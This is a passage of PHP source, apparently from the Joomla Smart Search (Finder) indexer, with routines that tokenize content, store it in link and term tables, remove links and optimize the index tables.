			self::$profiler = JProfiler::getInstance('FinderIndexer');
		}

		// Setup the stemmer.
		if ($data->options->get('stem', 1) && $data->options->get('stemmer', 'porter_en'))
		{
			FinderIndexerHelper::$stemmer = FinderIndexerStemmer::getInstance($data->options->get('stemmer', 'porter_en'));
		}

		// Set the state.
		self::$state = $data;

		return self::$state;
	}

	/**
	 * Method to set the indexer state.
	 *
	 * @param   object  $data  A new indexer state object.
	 *
	 * @return  boolean  True on success, false on failure.
	 *
	 * @since   2.5
	 */
	public static function setState($data)
	{
		// Check the state object.
		if (empty($data) || !$data instanceof JObject)
		{
			return false;
		}

		// Set the new internal state.
		self::$state = $data;

		// Set the new session state.
		$session = JFactory::getSession();
		$session->set('_finder.state', $data);

		return true;
	}

	/**
	 * Method to reset the indexer state.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public static function resetState()
	{
		// Reset the internal state to null.
		self::$state = null;

		// Reset the session state to null.
		$session = JFactory::getSession();
		$session->set('_finder.state', null);
	}

	/**
	 * Method to index a content item.
	 *
	 * @param   FinderIndexerResult  $item    The content item to index.
	 * @param   string               $format  The format of the content. [optional]
	 *
	 * @return  integer  The ID of the record in the links table.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public static function index($item, $format = 'html')
	{
		// Mark beforeIndexing in the profiler.
		self::$profiler ? self::$profiler->mark('beforeIndexing') : null;
		$db = JFactory::getDBO();
		$nd = $db->getNullDate();

		// Check if the item is in the database.
		$query = $db->getQuery(true);
		$query->select($db->quoteName('link_id') . ', ' . $db->quoteName('md5sum'));
		$query->from($db->quoteName('#__finder_links'));
		$query->where($db->quoteName('url') . ' = ' . $db->quote($item->url));

		// Load the item  from the database.
		$db->setQuery($query);
		$link = $db->loadObject();

		// Check for a database error.
		if ($db->getErrorNum())
		{
			// Throw database error exception.
			throw new Exception($db->getErrorMsg(), 500);
		}

		// Get the indexer state.
		$state = FinderIndexer::getState();

		// Get the signatures of the item.
		$curSig = self::getSignature($item);
		$oldSig = isset($link->md5sum) ? $link->md5sum : null;

		// Get the other item information.
		$linkId = empty($link->link_id) ? null : $link->link_id;
		$isNew = empty($link->link_id) ? true : false;

		// Check the signatures. If they match, the item is up to date.
		if (!$isNew && $curSig == $oldSig)
		{
			return $linkId;
		}

		/*
		 * If the link already exists, flush all the term maps for the item.
		 * Maps are stored in 16 tables so we need to iterate through and flush
		 * each table one at a time.
		 */
		if (!$isNew)
		{
			for ($i = 0; $i <= 15; $i++)
			{
				// Flush the maps for the link.
				$query->clear();
				$query->delete();
				$query->from($db->quoteName('#__finder_links_terms' . dechex($i)));
				$query->where($db->quoteName('link_id') . ' = ' . (int) $linkId);
				$db->setQuery($query);
				$db->query();

				// Check for a database error.
				if ($db->getErrorNum())
				{
					// Throw database error exception.
					throw new Exception($db->getErrorMsg(), 500);
				}
			}

			// Remove the taxonomy maps.
			FinderIndexerTaxonomy::removeMaps($linkId);
		}

		// Mark afterUnmapping in the profiler.
		self::$profiler ? self::$profiler->mark('afterUnmapping') : null;

		// Perform cleanup on the item data.
		$item->publish_start_date = intval($item->publish_start_date) != 0 ? $item->publish_start_date : $nd;
		$item->publish_end_date = intval($item->publish_end_date) != 0 ? $item->publish_end_date : $nd;
		$item->start_date = intval($item->start_date) != 0 ? $item->start_date : $nd;
		$item->end_date = intval($item->end_date) != 0 ? $item->end_date : $nd;

		// Prepare the item description.
		$item->description = FinderIndexerHelper::parse($item->summary);

		/*
		 * Now, we need to enter the item into the links table. If the item
		 * already exists in the database, we need to use an UPDATE query.
		 * Otherwise, we need to use an INSERT to get the link id back.
		 */

		if ($isNew)
		{
			$columnsArray = array(
				$db->quoteName('url'), $db->quoteName('route'), $db->quoteName('title'), $db->quoteName('description'),
				$db->quoteName('indexdate'), $db->quoteName('published'), $db->quoteName('state'), $db->quoteName('access'),
				$db->quoteName('language'), $db->quoteName('type_id'), $db->quoteName('object'), $db->quoteName('publish_start_date'),
				$db->quoteName('publish_end_date'), $db->quoteName('start_date'), $db->quoteName('end_date'), $db->quoteName('list_price'),
				$db->quoteName('sale_price')
			);

			// Insert the link.
			$query->clear();
			$query->insert($db->quoteName('#__finder_links'));
			$query->columns($columnsArray);
			$query->values(
				$db->quote($item->url) . ', '
				. $db->quote($item->route) . ', '
				. $db->quote($item->title) . ', '
				. $db->quote($item->description) . ', '
				. $query->currentTimestamp() . ', '
				. '1, '
				. (int) $item->state . ', '
				. (int) $item->access . ', '
				. $db->quote($item->language) . ', '
				. (int) $item->type_id . ', '
				. $db->quote(serialize($item)) . ', '
				. $db->quote($item->publish_start_date) . ', '
				. $db->quote($item->publish_end_date) . ', '
				. $db->quote($item->start_date) . ', '
				. $db->quote($item->end_date) . ', '
				. $db->quote($item->list_price) . ', '
				. $db->quote($item->sale_price)
			);
			$db->setQuery($query);
			$db->query();

			// Check for a database error.
			if ($db->getErrorNum())
			{
				// Throw database error exception.
				throw new Exception($db->getErrorMsg(), 500);
			}

			// Get the link id.
			$linkId = (int) $db->insertid();
		}
		else
		{
			// Update the link.
			//@TODO: Implement this
			$query->clear();
			$query->update($db->qn('#__finder_links'));
			$query->set($db->qn('route') . ' = ' . $db->quote($item->route));
			$query->set($db->qn('title') . ' = ' . $db->quote($item->title));
			$query->set($db->qn('description') . ' = ' . $db->quote($item->description));
			$query->set($db->qn('indexdate') . ' = ' . $query->currentTimestamp());
			$query->set($db->qn('state') . ' = ' . (int) $item->state);
			$query->set($db->qn('access') . ' = ' . (int) $item->access);
			$query->set($db->qn('language') . ' = ' . $db->quote($item->language));
			$query->set($db->qn('type_id') . ' = ' . (int) $item->type_id);
			$query->set($db->qn('object') . ' = ' . $db->quote(serialize($item)));
			$query->set($db->qn('publish_start_date') . ' = ' . $db->quote($item->publish_start_date));
			$query->set($db->qn('publish_end_date') . ' = ' . $db->quote($item->publish_end_date));
			$query->set($db->qn('start_date') . ' = ' . $db->quote($item->start_date));
			$query->set($db->qn('end_date') . ' = ' . $db->quote($item->end_date));
			$query->set($db->qn('list_price') . ' = ' . $db->quote($item->list_price));
			$query->set($db->qn('sale_price') . ' = ' . $db->quote($item->sale_price));
			$query->where('link_id = ' . (int) $linkId);
			$db->setQuery($query);
			$db->query();

			// Check for a database error.
			if ($db->getErrorNum())
			{
				// Throw database error exception.
				throw new Exception($db->getErrorMsg(), 500);
			}
		}

		// Set up the variables we will need during processing.
		$tokens = array();
		$count = 0;

		// Mark afterLinking in the profiler.
		self::$profiler ? self::$profiler->mark('afterLinking') : null;

		// Truncate the tokens tables.
		$db->truncateTable('#__finder_tokens');

		// Check for a database error.
		if ($db->getErrorNum())
		{
			// Throw database error exception.
			throw new Exception($db->getErrorMsg(), 500);
		}

		// Truncate the tokens aggregate table.
		$db->truncateTable('#__finder_tokens_aggregate');

		// Check for a database error.
		if ($db->getErrorNum())
		{
			// Throw database error exception.
			throw new Exception($db->getErrorMsg(), 500);
		}

		/*
		 * Process the item's content. The items can customize their
		 * processing instructions to define extra properties to process
		 * or rearrange how properties are weighted.
		 */
		foreach ($item->getInstructions() as $group => $properties)
		{
			// Iterate through the properties of the group.
			foreach ($properties as $property)
			{
				// Check if the property exists in the item.
				if (empty($item->$property))
				{
					continue;
				}

				// Tokenize the property.
				if (is_array($item->$property))
				{
					// Tokenize an array of content and add it to the database.
					foreach ($item->$property as $ip)
					{
						// If the group is path, we need to a few extra processing
						// steps to strip the extension and convert slashes and dashes
						// to spaces.
						if ($group === self::PATH_CONTEXT)
						{
							$ip = JFile::stripExt($ip);
							$ip = str_replace('/', ' ', $ip);
							$ip = str_replace('-', ' ', $ip);
						}

						// Tokenize a string of content and add it to the database.
						$count += FinderIndexer::tokenizeToDB($ip, $group, $item->language, $format);

						// Check if we're approaching the memory limit of the token table.
						if ($count > self::$state->options->get('memory_table_limit', 30000))
						{
							FinderIndexer::toggleTables(false);
						}
					}
				}
				else
				{
					// If the group is path, we need to a few extra processing
					// steps to strip the extension and convert slashes and dashes
					// to spaces.
					if ($group === self::PATH_CONTEXT)
					{
						$item->$property = JFile::stripExt($item->$property);
						$item->$property = str_replace('/', ' ', $item->$property);
						$item->$property = str_replace('-', ' ', $item->$property);
					}

					// Tokenize a string of content and add it to the database.
					$count += FinderIndexer::tokenizeToDB($item->$property, $group, $item->language, $format);

					// Check if we're approaching the memory limit of the token table.
					if ($count > self::$state->options->get('memory_table_limit', 30000))
					{
						FinderIndexer::toggleTables(false);
					}
				}
			}
		}

		/*
		 * Process the item's taxonomy. The items can customize their
		 * taxonomy mappings to define extra properties to map.
		 */
		foreach ($item->getTaxonomy() as $branch => $nodes)
		{
			// Iterate through the nodes and map them to the branch.
			foreach ($nodes as $node)
			{
				// Add the node to the tree.
				$nodeId = FinderIndexerTaxonomy::addNode($branch, $node->title, $node->state, $node->access);

				// Add the link => node map.
				FinderIndexerTaxonomy::addMap($linkId, $nodeId);

				// Tokenize the node title and add them to the database.
				$count += FinderIndexer::tokenizeToDB($node->title, self::META_CONTEXT, $item->language, $format);
			}
		}

		// Mark afterProcessing in the profiler.
		self::$profiler ? self::$profiler->mark('afterProcessing') : null;

		/*
		 * At this point, all of the item's content has been parsed, tokenized
		 * and inserted into the #__finder_tokens table. Now, we need to
		 * aggregate all the data into that table into a more usable form. The
		 * aggregated data will be inserted into #__finder_tokens_aggregate
		 * table.
		 */
		$query	= 'INSERT INTO ' . $db->quoteName('#__finder_tokens_aggregate') .
				' (' . $db->quoteName('term_id') .
				', ' . $db->quoteName('term') .
				', ' . $db->quoteName('stem') .
				', ' . $db->quoteName('common') .
				', ' . $db->quoteName('phrase') .
				', ' . $db->quoteName('term_weight') .
				', ' . $db->quoteName('context') .
				', ' . $db->quoteName('context_weight') . ')' .
				' SELECT' .
				' t.term_id, t1.term, t1.stem, t1.common, t1.phrase, t1.weight, t1.context,' .
				' ROUND( t1.weight * COUNT( t2.term ) * %F, 8 ) AS context_weight' .
				' FROM (' .
				'   SELECT DISTINCT t1.term, t1.stem, t1.common, t1.phrase, t1.weight, t1.context' .
				'   FROM ' . $db->quoteName('#__finder_tokens') . ' AS t1' .
				'   WHERE t1.context = %d' .
				' ) AS t1' .
				' JOIN ' . $db->quoteName('#__finder_tokens') . ' AS t2 ON t2.term = t1.term' .
				' LEFT JOIN ' . $db->quoteName('#__finder_terms') . ' AS t ON t.term = t1.term' .
				' WHERE t2.context = %d' .
				' GROUP BY t1.term' .
				' ORDER BY t1.term DESC';

		// Iterate through the contexts and aggregate the tokens per context.
		foreach ($state->weights as $context => $multiplier)
		{
			// Run the query to aggregate the tokens for this context..
			$db->setQuery(sprintf($query, $multiplier, $context, $context));
			$db->query();

			// Check for a database error.
			if ($db->getErrorNum())
			{
				// Throw database error exception.
				throw new Exception($db->getErrorMsg(), 500);
			}
		}

		// Mark afterAggregating in the profiler.
		self::$profiler ? self::$profiler->mark('afterAggregating') : null;

		/*
		 * When we pulled down all of the aggregate data, we did a LEFT JOIN
		 * over the terms table to try to find all the term ids that
		 * already exist for our tokens. If any of the rows in the aggregate
		 * table have a term of 0, then no term record exists for that
		 * term so we need to add it to the terms table.
		 */
		//@TODO: PostgreSQL doesn't support SOUNDEX out of the box

		/* This edit is causing the indexer to fail.
		$queryInsIgn = 'INSERT INTO ' . $db->quoteName('#__finder_terms') .
						' (' . $db->quoteName('term') .
						', ' . $db->quoteName('stem') .
						', ' . $db->quoteName('common') .
						', ' . $db->quoteName('phrase') .
						', ' . $db->quoteName('weight') .
						', ' . $db->quoteName('soundex') . ')' .
						' SELECT ta.term, ta.stem, ta.common, ta.phrase, ta.term_weight, SOUNDEX(ta.term)' .
						' FROM ' . $db->quoteName('#__finder_tokens_aggregate') . ' AS ta' .
						' WHERE 1 NOT IN ' .
								'( SELECT 1 FROM ' . $db->quoteName('#__finder_terms') .
								' WHERE ta.term_id = 0 )' .
						' AND ta.term_id = 0' .
						' GROUP BY ta.term';

		$db->setQuery($queryInsIgn);
		$db->query();

		// Check for a database error.
		if ($db->getErrorNum())
		{
			//@TODO: PostgreSQL doesn't support SOUNDEX out of the box
			$query->clear();
			$query->select('ta.term, ta.stem, ta.common, ta.phrase, ta.term_weight, SOUNDEX(ta.term)')
					->from($db->quoteName('#__finder_tokens_aggregate') . ' AS ta')
					->where('ta.term_id = 0');
			$db->setQuery($query);
			$subQuVal = $db->loadObject();

			$quRepl_p1 = 'UPDATE ' . $db->quoteName('#__finder_terms') . ' AS ta' .
							' SET ' .
								' (' . $db->quoteName('term') .
								', ' . $db->quoteName('stem') .
								', ' . $db->quoteName('common') .
								', ' . $db->quoteName('phrase') .
								', ' . $db->quoteName('weight') .
								', ' . $db->quoteName('soundex') . ')' .
							' = ' .
								' (' . $db->quote($subQuVal->term) .
								', ' . $db->quote($subQuVal->stem) .
								', ' . $db->quote($subQuVal->common) .
								', ' . $db->quote($subQuVal->phrase) .
								', ' . $db->quote($subQuVal->weight) .
								', ' . $db->quote($subQuVal->soundex) . ')' .
							' WHERE ' .
									$db->quoteName('term') . ' = ' . $db->quote($subQuVal->term) . ' AND ' .
									$db->quoteName('stem') . ' = ' . $db->quote($subQuVal->stem) . ' AND ' .
									$db->quoteName('common') . ' = ' . $db->quote($subQuVal->common) . ' AND ' .
									$db->quoteName('phrase') . ' = ' . $db->quote($subQuVal->phrase) . ' AND ' .
									$db->quoteName('weight') . ' = ' . $db->quote($subQuVal->weight) . ' AND ' .
									$db->quoteName('soundex') . ' = ' . $db->quote($subQuVal->soundex);

			$db->setQuery($quRepl_p1);
			$db->query();

			$quRepl_p2 = 'INSERT INTO ' . $db->quoteName('#__finder_terms') .
						' (' . $db->quoteName('term') .
								', ' . $db->quoteName('stem') .
								', ' . $db->quoteName('common') .
								', ' . $db->quoteName('phrase') .
								', ' . $db->quoteName('weight') .
								', ' . $db->quoteName('soundex') . ')' .
						' SELECT ta.term, ta.stem, ta.common, ta.phrase, ta.term_weight, SOUNDEX(ta.term)' .
						' FROM ' . $db->quoteName('#__finder_tokens_aggregate') . ' AS ta' .
						' WHERE 1 NOT IN ' .
								'( SELECT 1 FROM ' . $db->quoteName('#__finder_terms') .
								' WHERE ta.term_id = 0 )' .
						' AND ta.term_id = 0' .
						' GROUP BY ta.term';

			$db->setQuery($quRepl_p2);
			$db->query();

			// Check for a database error.
			if ($db->getErrorNum())
			{
				throw new Exception($db->getErrorMsg(), 500);
			}
		}
		End of failing edit */

		//@TODO: PostgreSQL doesn't support INSERT IGNORE INTO
		//@TODO: PostgreSQL doesn't support SOUNDEX out of the box
		$db->setQuery(
			'INSERT IGNORE INTO ' . $db->quoteName('#__finder_terms') .
			' (' . $db->quoteName('term') .
			', ' . $db->quoteName('stem') .
			', ' . $db->quoteName('common') .
			', ' . $db->quoteName('phrase') .
			', ' . $db->quoteName('weight') .
			', ' . $db->quoteName('soundex') . ')' .
			' SELECT ta.term, ta.stem, ta.common, ta.phrase, ta.term_weight, SOUNDEX(ta.term)' .
			' FROM ' . $db->quoteName('#__finder_tokens_aggregate') . ' AS ta' .
			' WHERE ta.term_id = 0' .
			' GROUP BY ta.term'
		);
		$db->query();

		// Check for a database error.
		if ($db->getErrorNum())
		{
			{
				throw new Exception($db->getErrorMsg(), 500);
			}
		}

		/*
		 * Now, we just inserted a bunch of new records into the terms table
		 * so we need to go back and update the aggregate table with all the
		 * new term ids.
		 */
		$query = $db->getQuery(true);
		$query->update($db->quoteName('#__finder_tokens_aggregate') . ' AS ta');
		$query->join('INNER', $db->quoteName('#__finder_terms') . ' AS t ON t.term = ta.term');
		$query->set('ta.term_id = t.term_id');
		$query->where('ta.term_id = 0');
		$db->setQuery($query);
		$db->query();

		// Check for a database error.
		if ($db->getErrorNum())
		{
			// Throw database error exception.
			throw new Exception($db->getErrorMsg(), 500);
		}

		// Mark afterTerms in the profiler.
		self::$profiler ? self::$profiler->mark('afterTerms') : null;

		/*
		 * After we've made sure that all of the terms are in the terms table
		 * and the aggregate table has the correct term ids, we need to update
		 * the links counter for each term by one.
		 */
		$query->clear();
		$query->update($db->quoteName('#__finder_terms') . ' AS t');
		$query->join('INNER', $db->quoteName('#__finder_tokens_aggregate') . ' AS ta ON ta.term_id = t.term_id');
		$query->set('t.' . $db->quoteName('links') . ' = t.links + 1');
		$db->setQuery($query);
		$db->query();

		// Check for a database error.
		if ($db->getErrorNum())
		{
			// Throw database error exception.
			throw new Exception($db->getErrorMsg(), 500);
		}

		// Mark afterTerms in the profiler.
		self::$profiler ? self::$profiler->mark('afterTerms') : null;

		/*
		 * Before we can insert all of the mapping rows, we have to figure out
		 * which mapping table the rows need to be inserted into. The mapping
		 * table for each term is based on the first character of the md5 of
		 * the first character of the term. In php, it would be expressed as
		 * substr(md5(substr($token, 0, 1)), 0, 1)
		 */
		$query->clear();
		$query->update($db->quoteName('#__finder_tokens_aggregate'));
		$query->set($db->quoteName('map_suffix') . ' = SUBSTR(MD5(SUBSTR(' . $db->quoteName('term') . ', 1, 1)), 1, 1)');
		$db->setQuery($query);
		$db->query();

		// Check for a database error.
		if ($db->getErrorNum())
		{
			// Throw database error exception.
			throw new Exception($db->getErrorMsg(), 500);
		}

		/*
		 * At this point, the aggregate table contains a record for each
		 * term in each context. So, we're going to pull down all of that
		 * data while grouping the records by term and add all of the
		 * sub-totals together to arrive at the final total for each token for
		 * this link. Then, we insert all of that data into the appropriate
		 * mapping table.
		 */
		for ($i = 0; $i <= 15; $i++)
		{
			// Get the mapping table suffix.
			$suffix = dechex($i);

			/*
			 * We have to run this query 16 times, one for each link => term
			 * mapping table.
			 */
			//@TODO: Convert to JDatabaseQuery
			$db->setQuery(
				'INSERT INTO ' . $db->quoteName('#__finder_links_terms' . $suffix) .
				' (' . $db->quoteName('link_id') .
				', ' . $db->quoteName('term_id') .
				', ' . $db->quoteName('weight') . ')' .
				' SELECT ' . (int) $linkId . ', ' . $db->quoteName('term_id') . ',' .
				' ROUND(SUM(' . $db->quoteName('context_weight') . '), 8)' .
				' FROM ' . $db->quoteName('#__finder_tokens_aggregate') .
				' WHERE ' . $db->quoteName('map_suffix') . ' = ' . $db->quote($suffix) .
				' GROUP BY ' . $db->quoteName('term') .
				' ORDER BY ' . $db->quoteName('term') . ' DESC'
			);
			$db->query();

			// Check for a database error.
			if ($db->getErrorNum())
			{
				// Throw database error exception.
				throw new Exception($db->getErrorMsg(), 500);
			}
		}

		// Mark afterMapping in the profiler.
		self::$profiler ? self::$profiler->mark('afterMapping') : null;

		// Update the signature.
		$query->clear();
		$query->update($db->quoteName('#__finder_links'));
		$query->set($db->quoteName('md5sum') . ' = ' . $db->quote($curSig));
		$query->where($db->quoteName('link_id') . ' = ' . $db->quote($linkId));
		$db->setQuery($query);
		$db->query();

		// Check for a database error.
		if ($db->getErrorNum())
		{
			// Throw database error exception.
			throw new Exception($db->getErrorMsg(), 500);
		}

		// Mark afterSigning in the profiler.
		self::$profiler ? self::$profiler->mark('afterSigning') : null;

		// Truncate the tokens tables.
		$db->truncateTable('#__finder_tokens');

		// Check for a database error.
		if ($db->getErrorNum())
		{
			// Throw database error exception.
			throw new Exception($db->getErrorMsg(), 500);
		}

		// Truncate the tokens aggregate table.
		$db->truncateTable('#__finder_tokens_aggregate');

		// Check for a database error.
		if ($db->getErrorNum())
		{
			// Throw database error exception.
			throw new Exception($db->getErrorMsg(), 500);
		}

		// Toggle the token tables back to memory tables.
		FinderIndexer::toggleTables(true);

		// Mark afterTruncating in the profiler.
		self::$profiler ? self::$profiler->mark('afterTruncating') : null;

		return $linkId;
	}

	/**
	 * Method to remove a link from the index.
	 *
	 * @param   integer  $linkId  The id of the link.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public static function remove($linkId)
	{
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);

		// Get the indexer state.
		$state = FinderIndexer::getState();

		// Update the link counts and remove the mapping records.
		for ($i = 0; $i <= 15; $i++)
		{
			// Update the link counts for the terms.
			$query->update($db->quoteName('#__finder_terms') . ' AS t');
			$query->join('INNER', $db->quoteName('#__finder_links_terms' . dechex($i)) . ' AS m ON m.term_id = t.term_id');
			$query->set($db->quoteName('t'). '.' . $db->quoteName('links') . ' ='.  $db->quoteName('t') .'.' . $db->quoteName('links') . ' - 1');
			$query->where($db->quoteName('m') . '.' . $db->quoteName('link_id') . ' = ' . $db->quote((int) $linkId));
			$db->setQuery($query);
			$db->query();

			// Check for a database error.
			if ($db->getErrorNum())
			{
				// Throw database error exception.
				throw new Exception($db->getErrorMsg(), 500);
			}

			// Remove all records from the mapping tables.
			$query->clear();
			$query->delete();
			$query->from($db->quoteName('#__finder_links_terms' . dechex($i)));
			$query->where($db->quoteName('link_id') . ' = ' . (int) $linkId);
			$db->setQuery($query);
			$db->query();

			// Check for a database error.
			if ($db->getErrorNum())
			{
				// Throw database error exception.
				throw new Exception($db->getErrorMsg(), 500);
			}
		}

		// Delete all orphaned terms.
		$query->clear();
		$query->delete();
		$query->from($db->quoteName('#__finder_terms'));
		$query->where($db->quoteName('links') . ' <= 0');
		$db->setQuery($query);
		$db->query();

		// Check for a database error.
		if ($db->getErrorNum())
		{
			// Throw database error exception.
			throw new Exception($db->getErrorMsg(), 500);
		}

		// Delete the link from the index.
		$query->clear();
		$query->delete();
		$query->from($db->quoteName('#__finder_links'));
		$query->where($db->quoteName('link_id') . ' = ' . $db->quote((int) $linkId));
		$db->setQuery($query);
		$db->query();

		// Check for a database error.
		if ($db->getErrorNum())
		{
			// Throw database error exception.
			throw new Exception($db->getErrorMsg(), 500);
		}

		// Remove the taxonomy maps.
		FinderIndexerTaxonomy::removeMaps($linkId);

		// Remove the orphaned taxonomy nodes.
		FinderIndexerTaxonomy::removeOrphanNodes();

		return true;
	}

	/**
	 * Method to optimize the index. We use this method to remove unused terms
	 * and any other optimizations that might be necessary.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public static function optimize()
	{
		// Get the indexer state.
		$state = FinderIndexer::getState();

		// Get the database object.
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);

		// Delete all orphaned terms.
		$query->delete();
		$query->from($db->quoteName('#__finder_terms'));
		$query->where($db->quoteName('links') . ' <= 0');
		$db->setQuery($query);
		$db->query();

		// Check for a database error.
		if ($db->getErrorNum())
		{
			// Throw database error exception.
			throw new Exception($db->getErrorMsg(), 500);
		}

		// Optimize the links table.
		//@TODO: PostgreSQL doesn't support OPTIMIZE TABLE
		// Temporary workaround for non-MySQL solutions
		if (strpos($db->name, 'mysql') === 0)
		{
			$db->setQuery('OPTIMIZE TABLE ' . $db->quoteName('#__finder_links'));
			$db->query();

			// Check for a database error.
			if ($db->getErrorNum())
			{
				// Throw database error exception.
				throw new Exception($db->getErrorMsg(), 500);
			}
		}

		//@TODO: PostgreSQL doesn't support OPTIMIZE TABLE
		// Temporary workaround for non-MySQL solutions
		if (strpos($db->name, 'mysql') === 0)
		{
			for ($i = 0; $i <= 15; $i++)
			{
				// Optimize the terms mapping table.
				$db->setQuery('OPTIMIZE TABLE ' . $db->quoteName('#__finder_links_terms' . dechex($i)));
				$db->query();

				// Check for a database error.
				if ($db->getErrorNum())
				{
					// Throw database error exception.
					throw new Exception($db->getErrorMsg(), 500);
				}
			}
		}

		// Optimize the terms mapping table.
		//@TODO: PostgreSQL doesn't support OPTIMIZE TABLE
		// Temporary workaround for non-MySQL solutions
		if (strpos($db->name, 'mysql') === 0)
		{
			$db->setQuery('OPTIMIZE TABLE ' . $db->quoteName('#__finder_links_terms'));
			$db->query();

			// Check for a database error.
			if ($db->getErrorNum())
			{
				// Throw database error exception.
				throw new Exception($db->getErrorMsg(), 500);
			}
		}

		// Remove the orphaned taxonomy nodes.
		FinderIndexerTaxonomy::removeOrphanNodes();

		// Optimize the taxonomy mapping table.
		//@TODO: PostgreSQL doesn't support OPTIMIZE TABLE
		// Temporary workaround for non-MySQL solutions
		if (strpos($db->name, 'mysql') === 0)
		{
			$db->setQuery('OPTIMIZE TABLE ' . $db->quoteName('#__finder_taxonomy_map'));
			$db->query();

			// Check for a database error.
			if ($db->getErrorNum())
			{
				// Throw database error exception.
				throw new Exception($db->getErrorMsg(), 500);
			}
		}

		return true;
	}

	/**
	 * Method to get a content item's signature.
	 *
	 * @param   object  $item  The content item to index.
	 *
	 * @return  string  The content item's signature.
	 *
	 * @since   2.5
	 */
	protected static function getSignature($item)
	{
		// Get the indexer state.
		$state = FinderIndexer::getState();

		// Get the relevant configuration variables.
		$config = array();
		$config[] = $state->weights;
		$config[] = $state->options->get('stem', 1);
		$config[] = $state->options->get('stemmer', 'porter_en');

		return md5(serialize(array($item, $config)));
	}

	/**
	 * Method to parse input, tokenize it, and then add it to the database.
	 *
	 * @param   mixed    $input    String or resource to use as input. A resource
	 *                             input will automatically be chunked to conserve
	 *                             memory. Strings will be chunked if longer than
	 *                             2K in size.
	 * @param   integer  $context  The context of the input. See context constants.
	 * @param   string   $lang     The language of the input.
	 * @param   string   $format   The format of the input.
	 *
	 * @return  integer  The number of tokens extracted from the input.
	 *
	 * @since   2.5
	 */
	protected static function tokenizeToDB($input, $context, $lang, $format)
	{
		$count = 0;
		$buffer = null;

		// If the input is a resource, batch the process out.
		if (is_resource($input))
		{
			// Batch the process out to avoid memory limits.
			while (!feof($input))
			{
				// Read into the buffer.
				$buffer .= fread($input, 2048);

				// If we haven't reached the end of the file, seek to the last
				// space character and drop whatever is after that to make sure
				// we didn't truncate a term while reading the input.
				if (!feof($input))
				{
					// Find the last space character.
					$ls = strrpos($buffer, ' ');

					// Adjust string based on the last space character.
					if ($ls)
					{
						// Truncate the string to the last space character.
						$string = substr($buffer, 0, $ls);

						// Adjust the buffer based on the last space for the
						// next iteration and trim.
						$buffer = JString::trim(substr($buffer, $ls));
					}
					// No space character was found.
					else
					{
						$string = $buffer;
					}
				}
				// We've reached the end of the file, so parse whatever remains.
				else
				{
					$string = $buffer;
				}

				// Parse the input.
				$string = FinderIndexerHelper::parse($string, $format);

				// Check the input.
				if (empty($string))
				{
					continue;
				}

				// Tokenize the input.
				$tokens = FinderIndexerHelper::tokenize($string, $lang);

				// Add the tokens to the database.
				$count += FinderIndexer::addTokensToDB($tokens, $context);

				// Check if we're approaching the memory limit of the token table.
				if ($count > self::$state->options->get('memory_table_limit', 30000))
				{
					FinderIndexer::toggleTables(false);
				}

				unset($string);
				unset($tokens);
			}
		}
		// If the input is greater than 2K in size, it is more efficient to
		// batch out the operation into smaller chunks of work.
		elseif (strlen($input) > 2048)
		{
			$start = 0;
			$end = strlen($input);
			$chunk = 2048;

			// As it turns out, the complex regular expressions we use for
			// sanitizing input are not very efficient when given large
			// strings. It is much faster to process lots of short strings.
			while ($start < $end)
			{
				// Setup the string.
				$string = substr($input, $start, $chunk);

				// Find the last space character if we aren't at the end.
				$ls = (($start + $chunk) < $end ? strrpos($string, ' ') : false);

				// Truncate to the last space character.
				if ($ls !== false)
				{
					$string = substr($string, 0, $ls);
				}

				// Adjust the start position for the next iteration.
				$start += ($ls !== false ? ($ls + 1 - $chunk) + $chunk : $chunk);

				// Parse the input.
				$string = FinderIndexerHelper::parse($string, $format);

				// Check the input.
				if (empty($string))
				{
					continue;
				}

				// Tokenize the input.
				$tokens = FinderIndexerHelper::tokenize($string, $lang);

				// Add the tokens to the database.
				$count += FinderIndexer::addTokensToDB($tokens, $context);

				// Check if we're approaching the memory limit of the token table.
				if ($count > self::$state->options->get('memory_table_limit', 30000))
				{
					FinderIndexer::toggleTables(false);
				}
			}
		}
		else
		{
			// Parse the input.
			$input = FinderIndexerHelper::parse($input, $format);

			// Check the input.
			if (empty($input))
			{
				return $count;
			}

			// Tokenize the input.
			$tokens = FinderIndexerHelper::tokenize($input, $lang);

			// Add the tokens to the database.
			$count = FinderIndexer::addTokensToDB($tokens, $context);
		}

		return $count;
	}

	/**
	 * Method to add a set of tokens to the database.
	 *
	 * @param   mixed  $tokens   An array or single FinderIndexerToken object.
	 * @param   mixed  $context  The context of the tokens. See context constants. [optional]
	 *
	 * @return  integer  The number of tokens inserted into the database.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected static function addTokensToDB($tokens, $context = '')
	{
		// Get the database object.
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);

		// Force tokens to an array.
		$tokens = is_array($tokens) ? $tokens : array($tokens);

		// Count the number of token values.
		$values = 0;

		// Iterate through the tokens to create SQL value sets.
		foreach ($tokens as $token)
		{
			$query->values(
				$db->quote($token->term) . ', '
				. $db->quote($token->stem) . ', '
				. (int) $token->common . ', '
				. (int) $token->phrase . ', '
				. (float) $token->weight . ', '
				. (int) $context
			);
			$values++;
		}

		// Insert the tokens into the database.
		$query->insert($db->quoteName('#__finder_tokens'));
		$query->columns(
					array(
						$db->quoteName('term'),
						$db->quoteName('stem'),
						$db->quoteName('common'),
						$db->quoteName('phrase'),
						$db->quoteName('weight'),
						$db->quoteName('context')
					)
		);
		$db->setQuery($query);
		$db->query();

		// Check for a database error.
		if ($db->getErrorNum())
		{
			// Throw database error exception.
			throw new Exception($db->getErrorMsg(), 500);
		}

		return $values;
	}

	/**
	 * Method to switch the token tables from Memory tables to MyISAM tables
	 * when they are close to running out of memory.
	 *
	 * @param   boolean  $memory  Flag to control how they should be toggled.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 * @todo    PostgreSQL doesn't support setting ENGINEs, determine how to handle setting tables
	 */
	protected static function toggleTables($memory)
	{
		static $state;

		// Get the database adapter.
		$db = JFactory::getDBO();

		// Temporary workaround for non-MySQL solutions
		if (strpos($db->name, 'mysql') !== 0)
		{
			return true;
		}

		// Check if we are setting the tables to the Memory engine.
		if ($memory === true && $state !== true)
		{
